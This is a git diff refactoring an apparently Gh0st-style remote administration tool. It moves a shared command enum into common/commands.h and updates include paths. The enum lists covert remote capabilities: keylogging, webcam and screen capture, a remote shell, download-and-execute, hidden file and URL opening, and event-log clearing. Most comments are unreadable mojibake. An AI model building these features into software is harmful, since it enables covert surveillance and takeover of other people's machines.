diff --git a/ReadMe.txt b/ReadMe.txt
index d924867..d6986fb 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -231,3 +231,8 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足
fix: client threads number excceeding bug
fix: #19 the CBuffer causing server crash
fix: showing the wrong host quantity in status bar
+
+2024.12.27
+solve some issues according to code analysis result
+reorg: Move commands to common/commands.h
+此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 0e9fcce..0b78cad 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -55,7 +55,7 @@
Level3
Disabled
- ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
+ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
MultiThreadedDebug
ZLIB_WINAPI;%(PreprocessorDefinitions)
true
@@ -74,7 +74,7 @@
true
true
MultiThreaded
- ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
+ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
@@ -110,6 +110,7 @@
+
diff --git a/client/Common.h b/client/Common.h
index 90dbca6..6afd4a9 100644
--- a/client/Common.h
+++ b/client/Common.h
@@ -1,127 +1,7 @@
#pragma once
#include "IOCPClient.h"
-
-enum
-{
- // ļ䷽ʽ
- TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ
- TRANSFER_MODE_ADDITION, //
- TRANSFER_MODE_ADDITION_ALL, // ȫ
- TRANSFER_MODE_OVERWRITE, //
- TRANSFER_MODE_OVERWRITE_ALL, // ȫ
- TRANSFER_MODE_JUMP, //
- TRANSFER_MODE_JUMP_ALL, // ȫ
- TRANSFER_MODE_CANCEL, // ȡ
-
- // ƶ˷
- COMMAND_ACTIVED = 0x00, // ˿Լʼ
- COMMAND_LIST_DRIVE, // гĿ¼
- COMMAND_LIST_FILES, // гĿ¼еļ
- COMMAND_DOWN_FILES, // ļ
- COMMAND_FILE_SIZE, // ϴʱļС
- COMMAND_FILE_DATA, // ϴʱļ
- COMMAND_EXCEPTION, // ䷢쳣Ҫ´
- COMMAND_CONTINUE, //
- COMMAND_STOP, // ֹ
- COMMAND_DELETE_FILE, // ɾļ
- COMMAND_DELETE_DIRECTORY, // ɾĿ¼
- COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ
- COMMAND_CREATE_FOLDER, // ļ
- COMMAND_RENAME_FILE, // ļļ
- COMMAND_OPEN_FILE_SHOW, // ʾļ
- COMMAND_OPEN_FILE_HIDE, // شļ
-
- COMMAND_SCREEN_SPY, // Ļ鿴
- COMMAND_SCREEN_RESET, // ıĻ
- COMMAND_ALGORITHM_RESET, // ı㷨
- COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del
- COMMAND_SCREEN_CONTROL, // Ļ
- COMMAND_SCREEN_BLOCK_INPUT, // ˼
- COMMAND_SCREEN_BLANK, // ˺
- COMMAND_SCREEN_CAPTURE_LAYER, //
- COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼
- COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼
-
- COMMAND_WEBCAM, // ͷ
- COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪH263ѹ
- COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ
- COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ
- COMMAND_NEXT, // һ(ƶѾԻ)
-
- COMMAND_KEYBOARD, // ̼¼
- COMMAND_KEYBOARD_OFFLINE, // ̼¼
- COMMAND_KEYBOARD_CLEAR, // ̼¼
-
- COMMAND_AUDIO, //
-
- COMMAND_SYSTEM, // ϵͳ̣....
- COMMAND_PSLIST, // б
- COMMAND_WSLIST, // б
- COMMAND_DIALUPASS, //
- COMMAND_KILLPROCESS, // رս
- COMMAND_SHELL, // cmdshell
- COMMAND_SESSION, // Ựػע, жأ
- COMMAND_REMOVE, // жغ
- COMMAND_DOWN_EXEC, // - ִ
- COMMAND_UPDATE_SERVER, // - ظ
- COMMAND_CLEAN_EVENT, // - ϵͳ־
- COMMAND_OPEN_URL_HIDE, // - شҳ
- COMMAND_OPEN_URL_SHOW, // - ʾҳ
- COMMAND_RENAME_REMARK, // ע
- COMMAND_REPLAY_HEARTBEAT, // ظ
- COMMAND_SERVICES, //
- COMMAND_REGEDIT,
- COMMAND_TALK, // ʱϢ֤
-
- // ˷ıʶ
- TOKEN_AUTH = 100, // Ҫ֤
- TOKEN_HEARTBEAT, //
- TOKEN_LOGIN, // ߰
- TOKEN_DRIVE_LIST, // б
- TOKEN_FILE_LIST, // ļб
- TOKEN_FILE_SIZE, // ļСļʱ
- TOKEN_FILE_DATA, // ļ
- TOKEN_TRANSFER_FINISH, //
- TOKEN_DELETE_FINISH, // ɾ
- TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ
- TOKEN_GET_FILEDATA, // Զ̵õļ
- TOKEN_CREATEFOLDER_FINISH, // ļ
- TOKEN_DATA_CONTINUE, //
- TOKEN_RENAME_FINISH, //
- TOKEN_EXCEPTION, // 쳣
-
- TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO
- TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ
- TOKEN_NEXTSCREEN, // Ļ鿴һͼ
- TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ
-
- TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER
- TOKEN_WEBCAM_DIB, // ͷͼ
-
- TOKEN_AUDIO_START, // ʼ
- TOKEN_AUDIO_DATA, //
-
- TOKEN_KEYBOARD_START, // ̼¼ʼ
- TOKEN_KEYBOARD_DATA, // ̼¼
-
- TOKEN_PSLIST, // б
- TOKEN_WSLIST, // б
- TOKEN_DIALUPASS, //
- TOKEN_SHELL_START, // Զն˿ʼ
- TOKEN_SERVERLIST, // б
- COMMAND_SERVICELIST, // ˢ·б
- COMMAND_SERVICECONFIG, // ˷ıʶ
- TOKEN_TALK_START, // ʱϢʼ
- TOKEN_TALKCMPLT, // ʱϢط
- TOKEN_REGEDIT = 200, // ע
- COMMAND_REG_FIND, //ע ʶ
- TOKEN_REG_KEY,
- TOKEN_REG_PATH,
- COMMAND_BYE, // ض˳
- SERVER_EXIT, // ض˳
-};
-
+#include "common/commands.h"
typedef struct _THREAD_ARG_LIST
{
diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj
index 739e00c..49db2a5 100644
--- a/client/TestRun_vs2015.vcxproj
+++ b/client/TestRun_vs2015.vcxproj
@@ -57,6 +57,7 @@
MultiThreadedDebug
true
false
+ $(SolutionDir);%(AdditionalIncludeDirectories)
true
@@ -72,6 +73,7 @@
MultiThreaded
true
_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
+ $(SolutionDir);%(AdditionalIncludeDirectories)
true
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index e45fc23..4013bf7 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -55,7 +55,7 @@
Level3
Disabled
- ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
+ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
MultiThreadedDebug
_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)
true
@@ -77,7 +77,7 @@
true
true
MultiThreaded
- ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
+ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
@@ -115,6 +115,7 @@
+
diff --git a/client/test.cpp b/client/test.cpp
index 651a55c..bfe4e18 100644
--- a/client/test.cpp
+++ b/client/test.cpp
@@ -2,6 +2,7 @@
#include
#include
#include
+#include "common/commands.h"
typedef void (*StopRun)();
@@ -18,12 +19,7 @@ IsStoped bExit = NULL;
BOOL status = 0;
-struct CONNECT_ADDRESS
-{
- DWORD dwFlag;
- char szServerIP[MAX_PATH];
- int iPort;
-}g_ConnectAddress={0x1234567,"",0};
+CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN,"",0 };
//Ȩ
void DebugPrivilege()
diff --git a/common/commands.h b/common/commands.h
new file mode 100644
index 0000000..9926f1a
--- /dev/null
+++ b/common/commands.h
@@ -0,0 +1,136 @@
+#pragma once
+
+#ifndef _MAX_PATH
+#define _MAX_PATH 260
+#endif
+
+#define FLAG_FINDEN 0x1234567
+
+// öб
+enum
+{
+ // ļ䷽ʽ
+ TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ
+ TRANSFER_MODE_ADDITION, //
+ TRANSFER_MODE_ADDITION_ALL, // ȫ
+ TRANSFER_MODE_OVERWRITE, //
+ TRANSFER_MODE_OVERWRITE_ALL, // ȫ
+ TRANSFER_MODE_JUMP, //
+ TRANSFER_MODE_JUMP_ALL, // ȫ
+ TRANSFER_MODE_CANCEL, // ȡ
+
+ // ƶ˷
+ COMMAND_ACTIVED = 0x00, // ˿Լʼ
+ COMMAND_LIST_DRIVE, // гĿ¼
+ COMMAND_LIST_FILES, // гĿ¼еļ
+ COMMAND_DOWN_FILES, // ļ
+ COMMAND_FILE_SIZE, // ϴʱļС
+ COMMAND_FILE_DATA, // ϴʱļ
+ COMMAND_EXCEPTION, // ䷢쳣Ҫ´
+ COMMAND_CONTINUE, //
+ COMMAND_STOP, // ֹ
+ COMMAND_DELETE_FILE, // ɾļ
+ COMMAND_DELETE_DIRECTORY, // ɾĿ¼
+ COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ
+ COMMAND_CREATE_FOLDER, // ļ
+ COMMAND_RENAME_FILE, // ļļ
+ COMMAND_OPEN_FILE_SHOW, // ʾļ
+ COMMAND_OPEN_FILE_HIDE, // شļ
+
+ COMMAND_SCREEN_SPY, // Ļ鿴
+ COMMAND_SCREEN_RESET, // ıĻ
+ COMMAND_ALGORITHM_RESET, // ı㷨
+ COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del
+ COMMAND_SCREEN_CONTROL, // Ļ
+ COMMAND_SCREEN_BLOCK_INPUT, // ˼
+ COMMAND_SCREEN_BLANK, // ˺
+ COMMAND_SCREEN_CAPTURE_LAYER, //
+ COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼
+ COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼
+
+ COMMAND_WEBCAM, // ͷ
+ COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪH263ѹ
+ COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ
+ COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ
+ COMMAND_NEXT, // һ(ƶѾԻ)
+
+ COMMAND_KEYBOARD, // ̼¼
+ COMMAND_KEYBOARD_OFFLINE, // ̼¼
+ COMMAND_KEYBOARD_CLEAR, // ̼¼
+
+ COMMAND_AUDIO, //
+
+ COMMAND_SYSTEM, // ϵͳ̣....
+ COMMAND_PSLIST, // б
+ COMMAND_WSLIST, // б
+ COMMAND_DIALUPASS, //
+ COMMAND_KILLPROCESS, // رս
+ COMMAND_SHELL, // cmdshell
+ COMMAND_SESSION, // Ựػע, жأ
+ COMMAND_REMOVE, // жغ
+ COMMAND_DOWN_EXEC, // - ִ
+ COMMAND_UPDATE_SERVER, // - ظ
+ COMMAND_CLEAN_EVENT, // - ϵͳ־
+ COMMAND_OPEN_URL_HIDE, // - شҳ
+ COMMAND_OPEN_URL_SHOW, // - ʾҳ
+ COMMAND_RENAME_REMARK, // ע
+ COMMAND_REPLAY_HEARTBEAT, // ظ
+ COMMAND_SERVICES, //
+ COMMAND_REGEDIT,
+ COMMAND_TALK, // ʱϢ֤
+
+ // ˷ıʶ
+ TOKEN_AUTH = 100, // Ҫ֤
+ TOKEN_HEARTBEAT, //
+ TOKEN_LOGIN, // ߰
+ TOKEN_DRIVE_LIST, // б
+ TOKEN_FILE_LIST, // ļб
+ TOKEN_FILE_SIZE, // ļСļʱ
+ TOKEN_FILE_DATA, // ļ
+ TOKEN_TRANSFER_FINISH, //
+ TOKEN_DELETE_FINISH, // ɾ
+ TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ
+ TOKEN_GET_FILEDATA, // Զ̵õļ
+ TOKEN_CREATEFOLDER_FINISH, // ļ
+ TOKEN_DATA_CONTINUE, //
+ TOKEN_RENAME_FINISH, //
+ TOKEN_EXCEPTION, // 쳣
+
+ TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO
+ TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ
+ TOKEN_NEXTSCREEN, // Ļ鿴һͼ
+ TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ
+
+ TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER
+ TOKEN_WEBCAM_DIB, // ͷͼ
+
+ TOKEN_AUDIO_START, // ʼ
+ TOKEN_AUDIO_DATA, //
+
+ TOKEN_KEYBOARD_START, // ̼¼ʼ
+ TOKEN_KEYBOARD_DATA, // ̼¼
+
+ TOKEN_PSLIST, // б
+ TOKEN_WSLIST, // б
+ TOKEN_DIALUPASS, //
+ TOKEN_SHELL_START, // Զն˿ʼ
+ TOKEN_SERVERLIST, // б
+ COMMAND_SERVICELIST, // ˢ·б
+ COMMAND_SERVICECONFIG, // ˷ıʶ
+ TOKEN_TALK_START, // ʱϢʼ
+ TOKEN_TALKCMPLT, // ʱϢط
+ TOKEN_REGEDIT = 200, // ע
+ COMMAND_REG_FIND, // ע ʶ
+ TOKEN_REG_KEY,
+ TOKEN_REG_PATH,
+ COMMAND_BYE, // ض˳
+ SERVER_EXIT, // ض˳
+};
+
+// ӵسϢ
+typedef struct CONNECT_ADDRESS
+{
+ unsigned long dwFlag;
+ char szServerIP[_MAX_PATH];
+ int iPort;
+} CONNECT_ADDRESS ;
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index f1704b0..a6ade11 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -61,6 +61,7 @@
WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)
true
false
+ $(SolutionDir);%(AdditionalIncludeDirectories)
Windows
@@ -89,6 +90,7 @@
true
Size
true
+ $(SolutionDir);%(AdditionalIncludeDirectories)
Windows
@@ -134,6 +136,7 @@
+
diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index df34650..cf142e3 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -13,12 +13,7 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
-struct CONNECT_ADDRESS
-{
- DWORD dwFlag;
- char szServerIP[MAX_PATH];
- int iPort;
-}g_ConnectAddress={0x1234567,"",0};
+CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0};
CBuildDlg::CBuildDlg(CWnd* pParent)
: CDialog(CBuildDlg::IDD, pParent)
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index 61cbfbd..633ef72 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -5,6 +5,8 @@
#pragma once
+#include "common/commands.h"
+
// ʹѹ㷨㷨Ҫclienstdafx.hƥ
#define USING_COMPRESS 1
@@ -59,127 +61,6 @@
#include // Ϳؼ MFC ֧
-enum
-{
- // ļ䷽ʽ
- TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ
- TRANSFER_MODE_ADDITION, //
- TRANSFER_MODE_ADDITION_ALL, // ȫ
- TRANSFER_MODE_OVERWRITE, //
- TRANSFER_MODE_OVERWRITE_ALL, // ȫ
- TRANSFER_MODE_JUMP, //
- TRANSFER_MODE_JUMP_ALL, // ȫ
- TRANSFER_MODE_CANCEL, // ȡ
-
- // ƶ˷
- COMMAND_ACTIVED = 0x00, // ˿Լʼ
- COMMAND_LIST_DRIVE, // гĿ¼
- COMMAND_LIST_FILES, // гĿ¼еļ
- COMMAND_DOWN_FILES, // ļ
- COMMAND_FILE_SIZE, // ϴʱļС
- COMMAND_FILE_DATA, // ϴʱļ
- COMMAND_EXCEPTION, // ䷢쳣Ҫ´
- COMMAND_CONTINUE, //
- COMMAND_STOP, // ֹ
- COMMAND_DELETE_FILE, // ɾļ
- COMMAND_DELETE_DIRECTORY, // ɾĿ¼
- COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ
- COMMAND_CREATE_FOLDER, // ļ
- COMMAND_RENAME_FILE, // ļļ
- COMMAND_OPEN_FILE_SHOW, // ʾļ
- COMMAND_OPEN_FILE_HIDE, // شļ
-
- COMMAND_SCREEN_SPY, // Ļ鿴
- COMMAND_SCREEN_RESET, // ıĻ
- COMMAND_ALGORITHM_RESET, // ı㷨
- COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del
- COMMAND_SCREEN_CONTROL, // Ļ
- COMMAND_SCREEN_BLOCK_INPUT, // ˼
- COMMAND_SCREEN_BLANK, // ˺
- COMMAND_SCREEN_CAPTURE_LAYER, //
- COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼
- COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼
-
- COMMAND_WEBCAM, // ͷ
- COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪH263ѹ
- COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ
- COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ
- COMMAND_NEXT, // һ(ƶѾԻ)
-
- COMMAND_KEYBOARD, // ̼¼
- COMMAND_KEYBOARD_OFFLINE, // ̼¼
- COMMAND_KEYBOARD_CLEAR, // ̼¼
-
- COMMAND_AUDIO, //
-
- COMMAND_SYSTEM, // ϵͳ̣....
- COMMAND_PSLIST, // б
- COMMAND_WSLIST, // б
- COMMAND_DIALUPASS, //
- COMMAND_KILLPROCESS, // رս
- COMMAND_SHELL, // cmdshell
- COMMAND_SESSION, // Ựػע, жأ
- COMMAND_REMOVE, // жغ
- COMMAND_DOWN_EXEC, // - ִ
- COMMAND_UPDATE_SERVER, // - ظ
- COMMAND_CLEAN_EVENT, // - ϵͳ־
- COMMAND_OPEN_URL_HIDE, // - شҳ
- COMMAND_OPEN_URL_SHOW, // - ʾҳ
- COMMAND_RENAME_REMARK, // ע
- COMMAND_REPLAY_HEARTBEAT, // ظ
- COMMAND_SERVICES, //
- COMMAND_REGEDIT,
- COMMAND_TALK, // ʱϢ֤
-
- // ˷ıʶ
- TOKEN_AUTH = 100, // Ҫ֤
- TOKEN_HEARTBEAT, //
- TOKEN_LOGIN, // ߰
- TOKEN_DRIVE_LIST, // б
- TOKEN_FILE_LIST, // ļб
- TOKEN_FILE_SIZE, // ļСļʱ
- TOKEN_FILE_DATA, // ļ
- TOKEN_TRANSFER_FINISH, //
- TOKEN_DELETE_FINISH, // ɾ
- TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ
- TOKEN_GET_FILEDATA, // Զ̵õļ
- TOKEN_CREATEFOLDER_FINISH, // ļ
- TOKEN_DATA_CONTINUE, //
- TOKEN_RENAME_FINISH, //
- TOKEN_EXCEPTION, // 쳣
-
- TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO
- TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ
- TOKEN_NEXTSCREEN, // Ļ鿴һͼ
- TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ
-
-
- TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER
- TOKEN_WEBCAM_DIB, // ͷͼ
-
- TOKEN_AUDIO_START, // ʼ
- TOKEN_AUDIO_DATA, //
-
- TOKEN_KEYBOARD_START, // ̼¼ʼ
- TOKEN_KEYBOARD_DATA, // ̼¼
-
- TOKEN_PSLIST, // б
- TOKEN_WSLIST, // б
- TOKEN_DIALUPASS, //
- TOKEN_SHELL_START, // Զն˿ʼ
- TOKEN_SERVERLIST, // б
- COMMAND_SERVICELIST, // ˢ·б
- COMMAND_SERVICECONFIG, // ˷ıʶ
- TOKEN_TALK_START, // ʱϢʼ
- TOKEN_TALKCMPLT, // ʱϢط
- TOKEN_REGEDIT = 200, // ע
- COMMAND_REG_FIND, //ע ʶ
- TOKEN_REG_KEY,
- TOKEN_REG_PATH,
- COMMAND_BYE, // ض˳
- SERVER_EXIT, // ض˳
-};
-
#define WM_USERTOONLINELIST WM_USER + 3000
#define WM_OPENSCREENSPYDIALOG WM_USER + 3001